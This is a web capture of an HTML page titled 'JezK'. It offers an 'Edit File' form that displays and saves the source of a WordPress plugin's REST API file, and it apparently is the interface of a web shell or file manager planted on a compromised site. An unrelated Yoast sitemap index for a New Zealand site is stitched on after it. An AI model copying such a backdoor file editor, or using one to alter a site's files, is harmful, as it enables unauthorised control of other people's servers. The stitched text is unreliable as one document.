
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: rest_api.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

add_action(&#039;rest_api_init&#039;, function () {
    register_rest_route(&#039;wdk/v1&#039;, &#039;/listing/autosuggestion&#039;, [
        &#039;methods&#039;  =&gt; &#039;POST&#039;,
        &#039;callback&#039; =&gt; &#039;wdk_listing_search_rest_callback&#039;,
        &#039;permission_callback&#039; =&gt; function () {
            return current_user_can(&#039;edit_posts&#039;);
        },
    ]);
});

function wdk_listing_search_rest_callback($request)
{
    $params = $request-&gt;get_json_params();
    $keyword = &#039;&#039;;

    if ($params &amp;&amp; isset($params[&#039;keyword&#039;])) {
        $keyword = sanitize_text_field($params[&#039;keyword&#039;]);
    } 

    if (strlen($keyword) &lt; 2) {
        return rest_ensure_response([
            &#039;success&#039; =&gt; true,
            &#039;data&#039; =&gt; []
        ]);
    }

    $args = [
        &#039;post_type&#039;      =&gt; &#039;wdk-listing&#039;,
        &#039;posts_per_page&#039; =&gt; 10,
        &#039;s&#039;              =&gt; $keyword,
    ];

    // Optionally exclude the currently executed ID if provided
    if (isset($params[&#039;executedId&#039;])) {
        $args[&#039;post__not_in&#039;] = [intval($params[&#039;executedId&#039;])];
    }

    $posts = get_posts($args);

    $result = [];
    foreach ($posts as $post) {
        $result[] = [
            &#039;id&#039;    =&gt; $post-&gt;ID,
            &#039;title&#039; =&gt; $post-&gt;post_title,
            &#039;edit&#039;  =&gt; urlencode(admin_url(&#039;admin.php?page=wdk_listing&amp;id=&#039; . $post-&gt;ID)),
        ];
    }

    return rest_ensure_response([
        &#039;success&#039; =&gt; true,
        &#039;data&#039; =&gt; $result
    ]);
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//peacefinder.co.nz/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://peacefinder.co.nz/post-sitemap.xml</loc>
		<lastmod>2025-05-09T06:53:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/page-sitemap.xml</loc>
		<lastmod>2026-05-02T11:57:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listings-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/product-sitemap.xml</loc>
		<lastmod>2025-03-22T07:11:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listing_template-sitemap.xml</loc>
		<lastmod>2025-05-08T11:33:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/elementor-hf-sitemap.xml</loc>
		<lastmod>2025-03-28T03:15:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/category-sitemap.xml</loc>
		<lastmod>2025-05-09T06:50:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/condition-sitemap.xml</loc>
		<lastmod>2025-09-25T21:26:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/make-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/serie-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/body-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/ca-year-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/mileage-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/transmission-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/engine-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/exterior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/fuel-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/price-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/drive-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/interior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/stm_additional_features-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/author-sitemap.xml</loc>
		<lastmod>2025-05-22T10:05:43+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->